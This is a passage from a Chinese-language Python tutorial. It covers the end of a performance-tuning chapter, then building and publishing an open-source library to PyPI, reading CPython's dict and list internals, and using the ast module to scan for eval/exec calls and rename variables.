async def fetch_all_bad(urls):
    async with aiohttp.ClientSession() as session:
        tasks = [session.get(url) for url in urls]
        return await asyncio.gather(*tasks)  # 1000 个 URL 同时请求,服务器可能崩

# ✅ 正确:用 Semaphore 限制并发
async def fetch_all_good(urls, max_concurrent=10):
    semaphore = asyncio.Semaphore(max_concurrent)
    async with aiohttp.ClientSession() as session:
        async def fetch_one(url):
            async with semaphore:
                async with session.get(url) as resp:
                    return await resp.text()
        return await asyncio.gather(*[fetch_one(url) for url in urls])
调优心法
  • 不要过早优化——先让代码正确运行,再考虑性能
  • 用数据说话——永远先 profile,不要凭直觉猜瓶颈
  • 选对算法和数据结构——O(n) 到 O(1) 的提升比任何微优化都大
  • 选对库——NumPy/Pandas 在 C 层运行,比纯 Python 快 10-100 倍
  • 缓存是万能药——相同计算不做第二次(@lru_cache、Redis 缓存)
  • IO 是瓶颈时用异步——asyncio + aiohttp 并发处理网络请求
  • CPU 是瓶颈时用多进程——绕过 GIL,真正并行
  • py-spy 火焰图——不改代码就能定位运行中进程的瓶颈
  • 内存泄漏——objgraph + gc.get_referrers 追踪引用链
  • 异步调优——Semaphore 限制并发,to_thread 包装阻塞代码

第五十三章:构建与发布开源库

本章导览

写一个自己用的脚本和写一个别人能用的库,是两个完全不同的层次。本章教你从零开始构建一个规范的 Python 开源库:项目结构、打包配置、发布到 PyPI、文档编写、版本管理、CI/CD。这是"工程师"和"程序员"的分水岭之一。

53.1 项目结构

# 一个规范的 Python 开源库结构:
my-awesome-lib/
├── src/
│   └── my_awesome_lib/
│       ├── __init__.py          # 版本号 + 公开 API
│       ├── core.py              # 核心逻辑
│       ├── utils.py             # 工具函数
│       └── py.typed             # PEP 561:声明支持类型注解
├── tests/
│   ├── __init__.py
│   ├── conftest.py              # pytest fixtures
│   ├── test_core.py
│   └── test_utils.py
├── docs/
│   ├── index.md
│   ├── getting-started.md
│   └── api-reference.md
├── pyproject.toml               # 唯一的项目配置文件
├── LICENSE                      # 开源许可证
├── README.md                    # 项目说明
├── CHANGELOG.md                 # 版本变更记录
├── .github/
│   └── workflows/
│       ├── ci.yml               # 持续集成
│       └── publish.yml          # 自动发布
├── .gitignore
└── .pre-commit-config.yaml

53.2 pyproject.toml 完整配置

# pyproject.toml —— 现代 Python 项目的唯一配置文件

[build-system]
requires = ["hatchling"]
build-backend = "hatchling.build"

[project]
name = "my-awesome-lib"
version = "0.1.0"
description = "一个很棒的 Python 库"
readme = "README.md"
license = {text = "MIT"}
requires-python = ">=3.10"
authors = [
    {name = "你的名字", email = "your@email.com"},
]
keywords = ["python", "utility"]
classifiers = [
    "Development Status :: 4 - Beta",
    "Intended Audience :: Developers",
    "License :: OSI Approved :: MIT License",
    "Programming Language :: Python :: 3",
    "Programming Language :: Python :: 3.10",
    "Programming Language :: Python :: 3.11",
    "Programming Language :: Python :: 3.12",
    "Programming Language :: Python :: 3.13",
    "Typing :: Typed",
]
dependencies = [
    "httpx>=0.25",
    "pydantic>=2.0",
]

[project.optional-dependencies]
dev = [
    "pytest>=8.0",
    "pytest-cov>=4.0",
    "pytest-asyncio>=0.21",
    "ruff>=0.8",
    "mypy>=1.0",
    "pre-commit>=3.0",
]
docs = [
    "mkdocs>=1.5",
    "mkdocs-material>=9.0",
]

[project.urls]
Homepage = "https://github.com/yourname/my-awesome-lib"
Documentation = "https://my-awesome-lib.readthedocs.io"
Repository = "https://github.com/yourname/my-awesome-lib"
Issues = "https://github.com/yourname/my-awesome-lib/issues"

[project.scripts]
my-tool = "my_awesome_lib.cli:main"  # 安装后可用 my-tool 命令

# ===== 工具配置 =====
[tool.hatch.build.targets.wheel]
packages = ["src/my_awesome_lib"]

[tool.pytest.ini_options]
testpaths = ["tests"]
addopts = "--cov=src --cov-report=term-missing --cov-report=html"

[tool.ruff]
target-version = "py310"
line-length = 88

[tool.ruff.lint]
select = ["E", "F", "I", "N", "UP", "B", "SIM", "RUF"]

[tool.mypy]
python_version = "3.10"
strict = true

53.3 版本管理——语义化版本

# 语义化版本(Semantic Versioning):MAJOR.MINOR.PATCH

# MAJOR(主版本):不兼容的 API 变更
#   - 删除了公开的函数/类
#   - 修改了函数签名(参数、返回值)
#   - 0.x → 1.0 表示"稳定版发布"

# MINOR(次版本):向后兼容的新功能
#   - 新增了公开的函数/类
#   - 新增了可选参数

# PATCH(补丁版本):向后兼容的 Bug 修复
#   - 修复了错误行为
#   - 性能优化
#   - 文档更新

# 示例:
# 1.0.0 → 1.0.1  (Bug 修复)
# 1.0.1 → 1.1.0  (新功能)
# 1.1.0 → 2.0.0  (破坏性变更)

# ===== 用 bump2version 自动更新版本 =====
# pip install bump2version
# bump2version patch  # 0.1.0 → 0.1.1
# bump2version minor  # 0.1.1 → 0.2.0
# bump2version major  # 0.2.0 → 1.0.0

# ===== CHANGELOG.md 格式 =====
# # Changelog
#
# ## [0.2.0] - 2026-05-30
# ### Added
# - 新增 `batch_process()` 函数
# - 支持 Python 3.13
#
# ### Fixed
# - 修复并发场景下的竞态条件
#
# ## [0.1.0] - 2026-05-01
# ### Added
# - 初始发布

53.4 发布到 PyPI

# ===== 第一步:注册 PyPI 账号 =====
# https://pypi.org/account/register/
# 启用 2FA(两步验证)

# ===== 第二步:生成 API Token =====
# https://pypi.org/manage/account/token/
# 创建 token,作用域设为整个账号或特定项目

# ===== 第三步:构建 =====
# pip install build
# python -m build
# 生成 dist/my_awesome_lib-0.1.0.tar.gz 和 dist/my_awesome_lib-0.1.0-py3-none-any.whl

# ===== 第四步:上传 =====
# pip install twine
# twine upload dist/*  # 会要求输入用户名 __token__ 和密码(API token)

# ===== 或者用 GitHub Actions 自动发布 =====
# .github/workflows/publish.yml:
# name: Publish to PyPI
# on:
#   release:
#     types: [published]
#
# jobs:
#   publish:
#     runs-on: ubuntu-latest
#     permissions:
#       id-token: write  # 用于 Trusted Publishing
#     steps:
#       - uses: actions/checkout@v4
#       - uses: actions/setup-python@v5
#         with:
#           python-version: "3.12"
#       - run: pip install build
#       - run: python -m build
#       - uses: pypa/gh-action-pypi-publish@release/v1

# ===== TestPyPI(测试环境)=====
# 先发布到 https://test.pypi.org 测试
# twine upload --repository testpypi dist/*
# pip install --index-url https://test.pypi.org/simple/ my-awesome-lib

53.5 文档编写

# 好的文档 = 有人用你的库。没有文档 = 没人用。

# ===== README.md 必备内容 =====
# 1. 一句话说明这是什么
# 2. 安装方法
# 3. 快速上手示例(3 行代码能跑起来)
# 4. 详细使用说明
# 5. API 参考
# 6. 贡献指南
# 7. 许可证

# ===== MkDocs 搭建文档站点 =====
# pip install mkdocs mkdocs-material
# mkdocs new .  # 初始化
# mkdocs serve  # 本地预览
# mkdocs build  # 构建静态站点

# mkdocs.yml 配置:
# site_name: My Awesome Lib
# theme:
#   name: material
#   palette:
#     primary: indigo
# nav:
#   - 首页: index.md
#   - 快速开始: getting-started.md
#   - API 参考: api-reference.md

# ===== docstring 规范(Google 风格)=====
def fetch_data(url: str, timeout: float = 10.0) -> dict:
    """从指定 URL 获取数据。

    发送 GET 请求并返回 JSON 响应。支持自动重试和超时设置。

    Args:
        url: 请求的 URL 地址。
        timeout: 请求超时时间(秒),默认 10 秒。

    Returns:
        解析后的 JSON 数据字典。

    Raises:
        httpx.HTTPStatusError: 当 HTTP 状态码不是 200 时。
        httpx.TimeoutException: 当请求超时时。

    Examples:
        >>> data = fetch_data("https://api.example.com/users")
        >>> print(data["count"])
        42
    """
    ...

# ===== 自动生成 API 文档 =====
# pip install mkdocstrings mkdocstrings-python
# 在 mkdocs.yml 中添加:
# plugins:
#   - mkdocstrings:
#       handlers:
#         python:
#           options:
#             show_source: true

53.6 API 设计哲学——设计优雅的 Pythonic API

# ===== 好的 API 设计原则 =====
# 1. 最小惊讶原则(Principle of Least Astonishment)
# 2. 一致的命名和行为模式
# 3. 支持 Python 的惯用写法(Pythonic)

# ===== 链式调用(Fluent API)=====
# ❌ 不好的设计:每个方法返回 None
class QueryBuilderBad:
    def __init__(self):
        self._table = ""
        self._conditions = []
        self._limit = None

    def from_table(self, table):
        self._table = table      # 返回 None,不能链式调用

    def where(self, condition):
        self._conditions.append(condition)  # 返回 None

    def limit(self, n):
        self._limit = n          # 返回 None

# 使用时要写 4 行:
# qb = QueryBuilderBad()
# qb.from_table("users")
# qb.where("age > 18")
# qb.limit(10)

# ✅ 好的设计:每个方法返回 self
class QueryBuilder:
    def __init__(self):
        self._table = ""
        self._conditions = []
        self._limit = None

    def from_table(self, table: str) -> 'QueryBuilder':
        self._table = table
        return self  # 返回 self,支持链式调用

    def where(self, condition: str) -> 'QueryBuilder':
        self._conditions.append(condition)
        return self

    def limit(self, n: int) -> 'QueryBuilder':
        self._limit = n
        return self

    def build(self) -> str:
        sql = f"SELECT * FROM {self._table}"
        if self._conditions:
            sql += " WHERE " + " AND ".join(self._conditions)
        if self._limit:
            sql += f" LIMIT {self._limit}"
        return sql

# 使用时一行搞定(Pythonic!)
query = (QueryBuilder()
    .from_table("users")
    .where("age > 18")
    .where("status = 'active'")
    .limit(10)
    .build())
print(query)
# SELECT * FROM users WHERE age > 18 AND status = 'active' LIMIT 10


# ===== 上下文管理器(with 语句)=====
# 好的 API 应该支持 with 语句管理资源

# ❌ 不支持 with
class DatabaseConnectionBad:
    def connect(self):
        ...
    def close(self):
        ...
# 使用时容易忘记 close!

# ✅ 支持 with
class DatabaseConnection:
    def __init__(self, url: str):
        self.url = url

    def __enter__(self) -> 'DatabaseConnection':
        self.conn = self._create_connection()
        return self

    def __exit__(self, exc_type, exc_val, exc_tb):
        self.close()
        return False  # 不吞掉异常

    def close(self):
        if self.conn:
            self.conn.close()

# 使用:
# with DatabaseConnection("postgresql://...") as db:
#     db.query("SELECT ...")
# 离开 with 块时自动关闭,即使发生异常


# ===== 迭代器协议 =====
# 好的集合类应该支持 for 循环

class PageIterator:
    """分页迭代器:自动翻页,对用户透明"""

    def __init__(self, api_client, page_size: int = 100):
        self.client = api_client
        self.page_size = page_size
        self.current_page = 0
        self._buffer = []
        self._exhausted = False

    def __iter__(self):
        return self

    def __next__(self):
        if not self._buffer and not self._exhausted:
            self._fetch_next_page()
        if not self._buffer:
            raise StopIteration
        return self._buffer.pop(0)

    def _fetch_next_page(self):
        items = self.client.get_page(self.current_page, self.page_size)
        if not items:
            self._exhausted = True
        else:
            self._buffer = items
            self.current_page += 1

# 使用:用户不需要关心翻页逻辑
# for user in PageIterator(api_client):
#     process(user)  # 自动翻页


# ===== 类型注解是最好的文档 =====
# ❌ 没有类型注解:不知道参数是什么类型
def create_user(name, age, tags):
    ...

# ✅ 有类型注解:一目了然
from typing import Optional
from pydantic import BaseModel

def create_user(
    name: str,
    age: int,
    tags: list[str] | None = None,
    email: str | None = None,
) -> dict:
    """创建用户。

    Args:
        name: 用户名(2-50 个字符)
        age: 年龄(0-150)
        tags: 标签列表(可选)
        email: 邮箱(可选,用于发送通知)

    Returns:
        包含 user_id 的字典
    """
    ...

53.7 版本控制与向后兼容——优雅地废弃旧 API

# ===== 为什么要向后兼容?=====
# 你的库有 100 个用户在用 old_function()。
# 如果你直接删除它,他们的代码全部崩溃。
# 正确做法:先标记为"废弃",给用户迁移时间,下个大版本再删除。

# ===== 用 warnings.warn 标记废弃 =====
import warnings

def old_function(x, y):
    """旧函数(已废弃)"""
    warnings.warn(
        "old_function() 已废弃,请使用 new_function() 替代。"
        "old_function 将在 v2.0 中移除。",
        DeprecationWarning,
        stacklevel=2  # 指向调用者,而不是这个函数内部
    )
    return new_function(x, y)

def new_function(x, y):
    """新函数"""
    return x + y

# 调用时会看到警告:
# old_function(1, 2)
# DeprecationWarning: old_function() 已废弃,请使用 new_function() 替代。

# 测试中如何捕获废弃警告:
import pytest

def test_old_function_deprecated():
    with pytest.warns(DeprecationWarning, match="old_function.*废弃"):
        old_function(1, 2)


# ===== 渐进式 API 迁移方案 =====
# 阶段 1(v1.0):发布 old_function
# 阶段 2(v1.5):添加 new_function,old_function 发出废弃警告
# 阶段 3(v2.0):删除 old_function

# 更复杂的例子:函数签名变更
def send_notification_v1(user_id: int, message: str):
    """v1: 只支持单个用户"""
    ...

def send_notification_v2(
    user_ids: int | list[int],  # v2: 支持批量
    message: str,
    channel: str = "sms",       # v2: 新增参数
):
    """v2: 支持批量发送和多渠道"""
    if isinstance(user_ids, int):
        user_ids = [user_ids]
    ...

# 兼容层:让 v1 的调用方式在 v2 中仍然可用
def send_notification(user_ids, message, channel="sms"):
    """向后兼容的入口"""
    if isinstance(user_ids, int):
        warnings.warn(
            "传递单个 user_id 已废弃,请使用列表格式 user_ids=[...]。"
            "将在 v3.0 中移除。",
            DeprecationWarning,
            stacklevel=2
        )
        user_ids = [user_ids]
    return send_notification_v2(user_ids, message, channel)


# ===== 用 towncrier 管理变更日志 =====
# pip install towncrier
# 核心思想:每个 PR 往 newsfragments/ 目录写一个小文件
# 发布时自动合并成 CHANGELOG.md

# 项目结构:
# newsfragments/
#   123.feature    ← PR #123 的新功能描述
#   124.bugfix     ← PR #124 的 Bug 修复描述
#   125.breaking   ← PR #125 的破坏性变更

# newsfragments/123.feature:
# 新增 `batch_process()` 函数,支持批量处理数据

# 发布时运行:
# towncrier build --version 2.0.0
# 自动生成 CHANGELOG.md 并清空 newsfragments/

# pyproject.toml 配置:
"""
[tool.towncrier]
directory = "newsfragments"
filename = "CHANGELOG.md"
title_format = "## [{version}] - {project_date}"

[[tool.towncrier.type]]
directory = "feature"
name = "Features"
showcontent = true

[[tool.towncrier.type]]
directory = "bugfix"
name = "Bug Fixes"
showcontent = true

[[tool.towncrier.type]]
directory = "breaking"
name = "Breaking Changes"
showcontent = true
"""


# ===== API 设计的常见陷阱 =====

# 陷阱 1:返回类型不一致
# ❌ 有时返回 None,有时返回空列表
def find_users_bad(query):
    results = db.search(query)
    if not results:
        return None  # 调用者要先判断 None 再判断 []
    return results

# ✅ 始终返回空列表
def find_users_good(query: str) -> list:
    return db.search(query) or []  # 永远返回 list


# 陷阱 2:可变对象作为默认参数
# ❌ 所有调用者共享同一个 list!
def add_item_bad(item, items=[]):
    items.append(item)
    return items

# ✅ 用 None 作为默认值
def add_item_good(item, items=None):
    if items is None:
        items = []
    items.append(item)
    return items


# 陷阱 3:参数过多
# ❌ 10 个参数,记不住
def create_server(host, port, timeout, max_connections, ssl, cert, key, ...):
    ...

# ✅ 用 dataclass 或 Pydantic 分组
from dataclasses import dataclass

@dataclass
class ServerConfig:
    host: str = "0.0.0.0"
    port: int = 8000
    timeout: float = 30.0
    max_connections: int = 100
    ssl: bool = False
    cert_file: str | None = None
    key_file: str | None = None

def create_server(config: ServerConfig = ServerConfig()):
    ...
发布前检查清单
  • 代码质量:ruff check + mypy 通过
  • 测试覆盖:核心功能 100% 覆盖
  • 文档完整:README + docstring + 示例代码
  • 版本号:遵循语义化版本
  • CHANGELOG:记录了所有变更
  • LICENSE:选择了合适的开源许可证(MIT/Apache 2.0/GPL)
  • CI/CD:GitHub Actions 自动测试 + 自动发布
  • py.typed:支持类型注解
  • API 设计:链式调用、上下文管理器、类型注解、一致的命名
  • 向后兼容:废弃旧 API 时先警告再删除,用 towncrier 管理变更日志

第五十四章:阅读 Python 源码与参与开源

本章导览

读源码是成为真正高手的必经之路。本章教你如何阅读 CPython 源码、如何给 CPython 和其他开源项目提 PR、如何参与 Python 社区。这不仅是技术提升,更是职业发展的加速器。

54.1 为什么要读源码?

1
理解"为什么"而非"怎么用"——文档告诉你怎么用,源码告诉你为什么这样设计
2
学习优秀的代码风格——CPython 标准库是最好的 Python 代码范本
3
解决疑难问题——遇到诡异 bug 时,只有读源码才能找到根因
4
参与开源——给 CPython 提 PR 是 Python 开发者的最高荣誉之一

54.2 如何阅读 CPython 源码

# ===== CPython 源码结构 =====
cpython/
├── Include/          # C 头文件(Python/C API)
├── Lib/              # 纯 Python 标准库 ← 从这里开始!
│   ├── collections/  # collections 模块
│   ├── functools.py  # functools 模块
│   ├── itertools.py  # itertools 模块(部分 C 实现)
│   ├── json/         # json 模块
│   ├── os/           # os 模块
│   ├── re.py         # 正则表达式
│   └── ...
├── Modules/          # C 扩展模块
├── Objects/          # 内置类型的 C 实现
│   ├── listobject.c  # list 的实现
│   ├── dictobject.c  # dict 的实现
│   ├── tupleobject.c # tuple 的实现
│   └── typeobject.c  # type 的实现
├── Parser/           # 解析器
├── Python/           # Python 虚拟机
│   ├── ceval.c       # 字节码执行引擎
│   └── compile.c     # 编译器
├── Tools/            # 工具脚本
└── Doc/              # 官方文档源码

# ===== 推荐的阅读顺序 =====
# 1. 从纯 Python 标准库开始(Lib/)
# 2. 先读简单的模块:pathlib.py、dataclasses.py、functools.py
# 3. 再读复杂模块:collections/__init__.py、json/
# 4. 最后挑战 C 实现:Objects/listobject.c

# ===== 实战:阅读 functools.lru_cache 源码 =====
# 在 Python 中查看源码位置:
import functools
print(functools.__file__)
# /usr/lib/python3.12/functools.py

# 用 inspect 查看源码:
import inspect
source = inspect.getsource(functools.lru_cache)
print(source)  # 直接打印源码

# 关键发现:
# 1. lru_cache 用闭包 + 字典实现缓存
# 2. 用双向链表维护访问顺序
# 3. maxsize=None 时走另一条快速路径(不淘汰)
# 4. typed=True 时区分不同类型(1 和 1.0 是不同的 key)

54.3 如何给 CPython 提 PR

# ===== 第一步:Fork 和克隆 =====
# 1. 在 GitHub 上 Fork https://github.com/python/cpython
# 2. 克隆到本地
# git clone https://github.com/你的用户名/cpython.git
# cd cpython

# ===== 第二步:构建 CPython =====
# Linux/macOS:
# ./configure --enable-optimizations
# make -j$(nproc)
# ./python -c "print('Hello from my CPython!')"

# Windows:
# PCbuild\build.bat -e -d
# PCbuild\amd64\python_d.exe -c "print('Hello!')"

# ===== 第三步:找到要改的地方 =====
# 1. 浏览 https://bugs.python.org 或 GitHub Issues
# 2. 找一个 "easy" 或 "beginner friendly" 的 issue
# 3. 常见的入门级贡献:
#    - 修复文档中的错别字
#    - 补充缺失的类型注解
#    - 添加/改进测试用例
#    - 修复简单的 bug

# ===== 第四步:修改代码 =====
# 创建分支:
# git checkout -b fix-issue-12345

# 修改代码后运行测试:
# ./python -m test test_module_name  # 运行特定模块的测试
# ./python -m test                    # 运行全部测试(很慢)

# ===== 第五步:提交 PR =====
# 1. 签署 CLA(Contributor License Agreement)
# 2. 写清楚的 commit message
# 3. 在 PR 描述中关联 issue
# 4. 等待核心开发者 review
# 5. 根据反馈修改

# ===== CPython 贡献注意事项 =====
# - 代码风格:PEP 7(C 代码)和 PEP 8(Python 代码)
# - 所有变更必须有测试
# - 所有公开 API 必须有文档
# - 变更需要在 whatsnew/ 中记录
# - 不要一次提太大的 PR,小步迭代

54.4 如何参与其他开源项目

# ===== 选择项目的标准 =====
# 1. 你在用的项目(最有动力)
# 2. 活跃维护的项目(最近 1 个月有 commit)
# 3. 有 "good first issue" 标签的项目
# 4. 文档完善、CONTRIBUTING.md 清晰的项目

# ===== 参与步骤 =====
# 1. 先用起来——作为用户熟悉项目
# 2. 读 CONTRIBUTING.md——每个项目的规矩不同
# 3. 读 issue 列表——找你能解决的问题
# 4. 先从小贡献开始:
#    - 修文档错别字
#    - 补充测试
#    - 回答其他用户的问题
#    - 报告 bug(写清楚复现步骤)
# 5. 再做代码贡献

# ===== PR 的艺术 =====
# 好的 PR:
# - 解决一个明确的问题
# - 变更尽量小(一个 PR 做一件事)
# - 有测试证明修复有效
# - commit message 清晰("Fix X when Y happens")
# - 描述中说明"为什么"要改

# 不好的 PR:
# - 一次改了 50 个文件
# - 没有测试
# - commit message 写 "fix bug" 或 "update code"
# - 重构了大量代码但没有说明原因

# ===== 推荐入门的开源项目 =====
# - requests / httpx(HTTP 库)
# - fastapi(Web 框架)
# - pydantic(数据验证)
# - ruff(代码检查工具)
# - cpython(Python 本身)
# - 你自己日常使用的库

54.5 Python 社区参与方式

# ===== PEP(Python Enhancement Proposal)=====
# PEP 是 Python 的"提案"机制。所有重大变更都通过 PEP 讨论。
# 阅读 PEP 是理解 Python 设计哲学的最佳方式。

# 必读 PEP:
# - PEP 8:代码风格指南
# - PEP 20:The Zen of Python(import this)
# - PEP 257:Docstring 规范
# - PEP 484:类型注解
# - PEP 544:Protocol(结构化子类型)
# - PEP 3119:ABC(抽象基类)

# 查看 PEP:https://peps.python.org

# ===== 讨论渠道 =====
# - discuss.python.org(官方论坛)
# - GitHub Issues/PRs(代码层面的讨论)
# - Discord/Slack(实时交流)
# - PyCon(年度大会,中国也有 PyCon China)

# ===== 贡献方式(不只是写代码)=====
# - 翻译文档
# - 回答 Stack Overflow 上的问题
# - 写技术博客分享经验
# - 在会议上做分享
# - 组织/参加本地 Python 聚会
# - 帮助新人入门

54.6 手撕 dict 底层——Python 3.6+ 字典为什么是有序的?

⚠️ 原版问题

上面只列了 CPython 的目录结构,没有真正带读者看懂一行 C 代码。下面带着问题读源码——为什么 Python 3.6+ 的字典是有序的?哈希冲突时怎么处理?

# ===== Python 3.6 之前的字典:稀疏哈希表 =====
# 旧实现:一个大数组,每个槽位存 (hash, key, value)
# 缺点:大量空槽位浪费内存,遍历顺序不确定
#
# 内存布局(旧):
# [(-, -, -), (hash1, key1, val1), (-, -, -), (hash2, key2, val2), ...]
#  空槽         有数据          空槽          有数据

# ===== Python 3.6+ 的字典:紧凑字典(Compact Dict)=====
# 新实现:两个数组
# 1. indices(稀疏索引数组):存的是指向 entries 的下标
# 2. entries(紧凑数组):按插入顺序存 (hash, key, value)
#
# 内存布局(新):
# indices: [_, 0, _, 1, _, _, 2, _]    ← 稀疏,只存下标
# entries: [(hash1, key1, val1),        ← 紧凑,按插入顺序
#           (hash2, key2, val2),
#           (hash3, key3, val3)]

# ===== 源码解读:dictobject.c 的核心结构 =====
"""
// CPython 3.12 dictobject.c 中的关键结构体:

// 每个字典项(存在 entries 数组中)
typedef struct {
    Py_hash_t me_hash;     // 缓存的哈希值
    PyObject *me_key;      // 键
    PyObject *me_value;    // 值
} PyDictKeyEntry;

// 字典的主结构
typedef struct {
    PyObject_HEAD
    Py_ssize_t ma_used;          // 已使用的条目数
    Py_ssize_t ma_version_tag;   // 版本号(用于快速检测字典变化)
    PyDictKeysObject *ma_keys;   // 指向 keys 对象
    PyObject **ma_values;        // 值数组(分离存储时使用)
} PyDictObject;
"""

# ===== 哈希冲突:开放寻址法(Open Addressing)=====
# Python 字典用"开放寻址法"解决哈希冲突,不是"链地址法"

"""
查找 key 的过程:
1. 计算 hash(key) → 得到一个大整数
2. 用 hash % table_size → 得到初始槽位 index
3. 如果槽位为空 → key 不存在
4. 如果槽位有值且 key 相同 → 找到了
5. 如果槽位有值但 key 不同 → 碰撞!用扰动函数探测下一个槽位
"""

def simulate_dict_lookup(hash_table_size, key_hash):
    """模拟 CPython 字典的查找过程"""
    index = key_hash % hash_table_size
    perturb = key_hash
    probe_sequence = [index]

    for _ in range(10):  # 最多探测 10 次
        # CPython 的扰动函数(来自 dictobject.c)
        perturb >>= 5  # 右移 5 位
        index = (index * 5 + perturb + 1) % hash_table_size
        probe_sequence.append(index)

    return probe_sequence

# 演示
print("探测序列:", simulate_dict_lookup(8, hash("hello")))
# [3, 2, 6, 1, 5, 0, 4, 7, 3, 2, 6]


# ===== 为什么 dict 的 in 操作是 O(1)?=====
# 因为:
# 1. hash(key) 是 O(1)
# 2. 探测序列的长度有上限(装载因子 < 2/3 时触发扩容)
# 3. 理论最坏 O(n),实际几乎总是 O(1)

# 验证:dict vs list 的查找速度
import timeit

d = {i: i for i in range(10000)}
l = list(range(10000))

t_dict = timeit.timeit('9999 in d', globals=globals(), number=100000)
t_list = timeit.timeit('9999 in l', globals=globals(), number=100000)
print(f"dict 查找: {t_dict:.4f}s")
print(f"list 查找: {t_list:.4f}s")  # 慢 100-1000 倍


# ===== 动手实验:用 sys 模块观察字典内部 =====
import sys

d = {}
print(f"空字典大小: {sys.getsizeof(d)} 字节")  # 64 字节

d["a"] = 1
print(f"1 个元素: {sys.getsizeof(d)} 字节")  # 232 字节(预分配了多个槽位)

for i in range(100):
    d[i] = i
print(f"100 个元素: {sys.getsizeof(d)} 字节")  # 逐渐扩容

54.7 手撕 list 底层——append 为什么是 O(1)?insert(0) 为什么慢?

# ===== list 的底层实现:动态数组 =====
"""
// CPython listobject.c 核心结构:
typedef struct {
    PyObject_VAR_HEAD
    PyObject **ob_item;   // 指向元素数组的指针
    Py_ssize_t allocated; // 已分配的容量(可能 > 实际元素数)
} PyListObject;

// list 就是一个 C 数组 + 容量管理
"""

# ===== append 的均摊 O(1):过分配机制 =====
# 当 list 扩容时,不是刚好多 1 个位置,而是多分配一些
# CPython 的扩容策略:new_allocated = (newsize >> 3) + (newsize < 9 ? 3 : 6) + newsize
# 约为 1.125 倍(每次多分配 12.5%)

import sys

# 观察 list 的内存增长
sizes = []
l = []
prev_size = sys.getsizeof(l)
for i in range(100):
    l.append(i)
    curr_size = sys.getsizeof(l)
    if curr_size != prev_size:
        sizes.append((i, curr_size))
        prev_size = curr_size

print("list 扩容时机(元素数 → 字节数):")
for count, size in sizes[:15]:
    print(f"  {count:3d} 个元素 → {size} 字节")
# 输出示例:
#   0 个元素 → 56 字节
#   4 个元素 → 88 字节      ← 第一次扩容
#   8 个元素 → 120 字节     ← 第二次扩容
#  12 个元素 → 184 字节     ← 第三次扩容(每次多分配 ~12.5%)

# ===== append 为什么是均摊 O(1)?=====
# 大多数 append 只是往数组末尾写一个值 → O(1)
# 偶尔触发扩容时需要复制整个数组 → O(n)
# 但扩容次数是 log(n) 级别的,均摊下来每次还是 O(1)

# ===== insert(0, x) 为什么是 O(n)?=====
# 因为要在数组头部插入,后面所有元素都要往后移一位(memmove)
import timeit

l = list(range(10000))

t_append = timeit.timeit('l.append(0)', globals={'l': list(range(10000))}, number=10000)
t_insert0 = timeit.timeit('l.insert(0, 0)', globals={'l': list(range(10000))}, number=10000)
print(f"append: {t_append:.4f}s")
print(f"insert(0): {t_insert0:.4f}s")  # 慢 100-1000 倍!

# 如果需要频繁在头部插入/删除,用 collections.deque(双向链表,O(1))
from collections import deque

d = deque(range(10000))
t_deque = timeit.timeit('d.appendleft(0)', globals={'d': deque(range(10000))}, number=10000)
print(f"deque.appendleft: {t_deque:.4f}s")  # 和 append 一样快


# ===== list.sort() 的算法:Timsort =====
"""
Timsort 是 Python 的排序算法(也是 Java 的默认排序):
1. 把数组分成"runs"(天然有序的子序列)
2. 用 insertion sort 排序每个短 run
3. 用 merge sort 合并 runs
最坏 O(n log n),最好 O(n)(数据已经部分有序时)
"""
# Timsort 对"部分有序"的数据特别快
import random

sorted_data = list(range(10000))
almost_sorted = sorted_data.copy()
random.shuffle(almost_sorted[:100])  # 只有前 100 个乱序

t1 = timeit.timeit('sorted(d)', globals={'d': sorted_data}, number=100)
t2 = timeit.timeit('sorted(d)', globals={'d': almost_sorted}, number=100)
t3 = timeit.timeit('sorted(d)', globals={'d': list(range(10000, 0, -1))}, number=100)
print(f"已排序: {t1:.4f}s")
print(f"几乎有序: {t2:.4f}s")  # 比随机快
print(f"逆序: {t3:.4f}s")

54.8 AST(抽象语法树)魔法——用 Python 分析 Python

# ===== AST 是什么?=====
# 当 Python 执行你的代码时,先把源码解析成一棵"语法树"
# 你可以用 ast 模块读取、分析、甚至修改这棵树

import ast

# 解析代码为 AST
code = """
def hello(name):
    return f"Hello, {name}!"
"""
tree = ast.parse(code)
print(ast.dump(tree, indent=2))
# 输出:
# Module(body=[
#   FunctionDef(
#     name='hello',
#     args=arguments(posonlyargs=[], args=[arg(arg='name')]),
#     body=[Return(value=...)]
#   )
# ])

# ===== 实战 1:自动扫描项目中所有不安全的 eval() 调用 =====
import os
import ast

class EvalFinder(ast.NodeVisitor):
    """AST 访问者:找出所有 eval/exec 调用"""

    def __init__(self):
        self.findings = []

    def visit_Call(self, node):
        # 检查是否调用了 eval 或 exec
        if isinstance(node.func, ast.Name) and node.func.id in ('eval', 'exec'):
            self.findings.append({
                'line': node.lineno,
                'func': node.func.id,
                'args': ast.dump(node.args[0]) if node.args else 'no args',
            })
        self.generic_visit(node)

def scan_file_for_eval(filepath: str) -> list:
    """扫描单个文件中的 eval/exec 调用"""
    with open(filepath, 'r', encoding='utf-8') as f:
        source = f.read()
    try:
        tree = ast.parse(source)
        finder = EvalFinder()
        finder.visit(tree)
        return finder.findings
    except SyntaxError:
        return []

def scan_project(project_dir: str):
    """扫描整个项目"""
    all_findings = []
    for root, dirs, files in os.walk(project_dir):
        # 跳过虚拟环境和缓存目录
        dirs[:] = [d for d in dirs if d not in ('.venv', 'venv', '__pycache__', '.git')]
        for file in files:
            if file.endswith('.py'):
                filepath = os.path.join(root, file)
                findings = scan_file_for_eval(filepath)
                for f in findings:
                    f['file'] = filepath
                    all_findings.append(f)

    # 输出结果
    if all_findings:
        print(f"⚠️ 发现 {len(all_findings)} 处 eval/exec 调用:")
        for f in all_findings:
            print(f"  {f['file']}:{f['line']} - {f['func']}()")
    else:
        print("✅ 未发现 eval/exec 调用")

# 使用
# scan_project("./my_project")


# ===== 实战 2:简单的代码混淆器 =====
class CodeObfuscator(ast.NodeTransformer):
    """AST 转换器:重命名变量名为无意义的名称"""

    def __init__(self):
        self.name_map = {}
        self.counter = 0

    def _get_obfuscated_name(self, original: str) -> str:
        if original.startswith('_'):
            return original  # 保留私有变量名
        if original not in self.name_map:
            self.name_map[original] = f"_v{self.counter}"
            self.counter += 1
        return self.name_map[original]

    def visit_FunctionDef(self, node):
        # 重命名函数
        node.name = self._get_obfuscated_name(node.name)
        # 重命名参数
        for arg in node.args.args:
            arg.arg = self._get_obfuscated_name(arg.arg)
        self.generic_visit(node)
        return node

    def visit_Name(self, node):
        # 重命名变量引用
        if isinstance(node.ctx, (ast.Store, ast.Load)):
            node.id = self._get_obfuscated_name(node.id)
        return node

